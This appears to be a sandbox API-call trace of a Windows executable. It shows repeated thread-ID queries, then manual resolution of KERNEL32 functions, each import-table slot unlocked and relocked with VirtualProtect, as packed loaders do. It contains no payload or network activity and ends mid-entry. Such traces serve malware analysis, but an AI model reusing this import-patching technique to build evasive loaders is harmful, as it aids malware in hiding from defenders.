GetCurrentThreadId () returned 0x1110 [0118.658] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.658] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.659] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.660] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] GetCurrentThreadId () returned 0x1110 [0118.661] SetEvent (hEvent=0xd4) returned 1 [0118.661] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0118.661] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0118.661] VirtualProtect (in: lpAddress=0x411000, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.661] VirtualProtect (in: lpAddress=0x411000, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.662] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0118.662] VirtualProtect (in: lpAddress=0x411004, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.662] VirtualProtect (in: lpAddress=0x411004, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.662] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0118.662] VirtualProtect (in: lpAddress=0x411008, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.662] VirtualProtect (in: lpAddress=0x411008, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.662] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0118.662] VirtualProtect (in: lpAddress=0x41100c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.663] VirtualProtect (in: lpAddress=0x41100c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.663] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0118.663] VirtualProtect (in: lpAddress=0x411010, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.663] VirtualProtect (in: lpAddress=0x411010, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.663] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0118.663] VirtualProtect (in: lpAddress=0x411014, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.663] VirtualProtect (in: lpAddress=0x411014, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0118.664] VirtualProtect (in: lpAddress=0x411018, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.664] VirtualProtect (in: lpAddress=0x411018, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0118.664] VirtualProtect (in: lpAddress=0x41101c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.664] VirtualProtect (in: lpAddress=0x41101c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0118.664] VirtualProtect (in: lpAddress=0x411020, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.664] VirtualProtect (in: lpAddress=0x411020, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.665] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSListHead") returned 0x773594a4 [0118.665] VirtualProtect (in: lpAddress=0x411024, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.665] VirtualProtect (in: lpAddress=0x411024, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.665] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0118.665] VirtualProtect (in: lpAddress=0x411028, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.665] VirtualProtect (in: lpAddress=0x411028, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0118.665] VirtualProtect (in: lpAddress=0x41102c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.666] VirtualProtect (in: lpAddress=0x41102c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.666] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0118.666] VirtualProtect (in: lpAddress=0x411030, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.666] VirtualProtect (in: lpAddress=0x411030, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.666] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0118.666] VirtualProtect (in: lpAddress=0x411034, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.666] VirtualProtect (in: lpAddress=0x411034, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.666] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0118.667] VirtualProtect (in: lpAddress=0x411038, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.667] VirtualProtect (in: lpAddress=0x411038, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.667] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0118.667] VirtualProtect (in: lpAddress=0x41103c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.668] VirtualProtect (in: lpAddress=0x41103c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.668] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0118.668] VirtualProtect (in: lpAddress=0x411040, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.669] VirtualProtect (in: lpAddress=0x411040, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.669] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0118.669] VirtualProtect (in: lpAddress=0x411044, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.670] VirtualProtect (in: lpAddress=0x411044, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.670] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0118.670] VirtualProtect (in: lpAddress=0x411048, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.671] VirtualProtect (in: lpAddress=0x411048, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.671] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0118.671] VirtualProtect (in: lpAddress=0x41104c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.671] VirtualProtect (in: lpAddress=0x41104c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0118.672] VirtualProtect (in: lpAddress=0x411050, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.672] VirtualProtect (in: lpAddress=0x411050, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.672] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0118.672] VirtualProtect (in: lpAddress=0x411054, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.673] VirtualProtect (in: lpAddress=0x411054, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0118.673] VirtualProtect (in: lpAddress=0x411058, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.673] VirtualProtect (in: lpAddress=0x411058, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0118.673] VirtualProtect (in: lpAddress=0x41105c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.673] VirtualProtect (in: lpAddress=0x41105c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.673] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0118.673] VirtualProtect (in: lpAddress=0x411060, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.725] VirtualProtect (in: lpAddress=0x411060, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.726] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0118.726] VirtualProtect (in: lpAddress=0x411064, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.726] VirtualProtect (in: lpAddress=0x411064, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.726] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0118.726] VirtualProtect (in: lpAddress=0x411068, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.726] VirtualProtect (in: lpAddress=0x411068, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.726] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0118.726] VirtualProtect (in: lpAddress=0x41106c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.727] VirtualProtect (in: lpAddress=0x41106c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.727] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0118.727] VirtualProtect (in: lpAddress=0x411070, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.727] VirtualProtect (in: lpAddress=0x411070, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.727] GetProcAddress (hModule=0x76e10000, lpProcName="RaiseException") returned 0x76e258a6 [0118.727] VirtualProtect (in: lpAddress=0x411074, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.727] VirtualProtect (in: lpAddress=0x411074, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.728] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0118.728] VirtualProtect (in: lpAddress=0x411078, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.728] VirtualProtect (in: lpAddress=0x411078, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.728] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0118.728] VirtualProtect (in: lpAddress=0x41107c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.728] VirtualProtect (in: lpAddress=0x41107c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.728] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0118.728] VirtualProtect (in: lpAddress=0x411080, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.729] VirtualProtect (in: lpAddress=0x411080, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.729] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0118.729] VirtualProtect (in: lpAddress=0x411084, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.729] VirtualProtect (in: lpAddress=0x411084, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.729] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0118.729] VirtualProtect (in: lpAddress=0x411088, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.729] VirtualProtect (in: lpAddress=0x411088, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.729] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineA") returned 0x76e251a1 [0118.730] VirtualProtect (in: lpAddress=0x41108c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.730] VirtualProtect (in: lpAddress=0x41108c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.730] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0118.730] VirtualProtect (in: lpAddress=0x411090, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.730] VirtualProtect (in: lpAddress=0x411090, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.730] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0118.730] VirtualProtect (in: lpAddress=0x411094, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.730] VirtualProtect (in: lpAddress=0x411094, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.731] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0118.731] VirtualProtect (in: lpAddress=0x411098, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.731] VirtualProtect (in: lpAddress=0x411098, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.731] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0118.731] VirtualProtect (in: lpAddress=0x41109c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.731] VirtualProtect (in: lpAddress=0x41109c, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.731] GetProcAddress (hModule=0x76e10000, lpProcName="GetExitCodeProcess") returned 0x76e3174d [0118.731] VirtualProtect (in: lpAddress=0x4110a0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.732] VirtualProtect (in: lpAddress=0x4110a0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.732] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0118.732] VirtualProtect (in: lpAddress=0x4110a4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.732] VirtualProtect (in: lpAddress=0x4110a4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.732] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesExW") returned 0x76e24574 [0118.732] VirtualProtect (in: lpAddress=0x4110a8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.732] VirtualProtect (in: lpAddress=0x4110a8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.733] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0118.733] VirtualProtect (in: lpAddress=0x4110ac, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.733] VirtualProtect (in: lpAddress=0x4110ac, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.733] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0118.733] VirtualProtect (in: lpAddress=0x4110b0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.733] VirtualProtect (in: lpAddress=0x4110b0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.733] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExW") returned 0x76e31811 [0118.733] VirtualProtect (in: lpAddress=0x4110b4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.734] VirtualProtect (in: lpAddress=0x4110b4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.734] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0118.734] VirtualProtect (in: lpAddress=0x4110b8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.734] VirtualProtect (in: lpAddress=0x4110b8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.734] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0118.734] VirtualProtect (in: lpAddress=0x4110bc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.734] VirtualProtect (in: lpAddress=0x4110bc, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.735] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0118.735] VirtualProtect (in: lpAddress=0x4110c0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.735] VirtualProtect (in: lpAddress=0x4110c0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.735] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0118.735] VirtualProtect (in: lpAddress=0x4110c4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x2) returned 1 [0118.735] VirtualProtect (in: lpAddress=0x4110c4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x28f904 | out: lpflOldProtect=0x28f904*=0x40) returned 1 [0118.735] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0118.735] VirtualProtect (in: 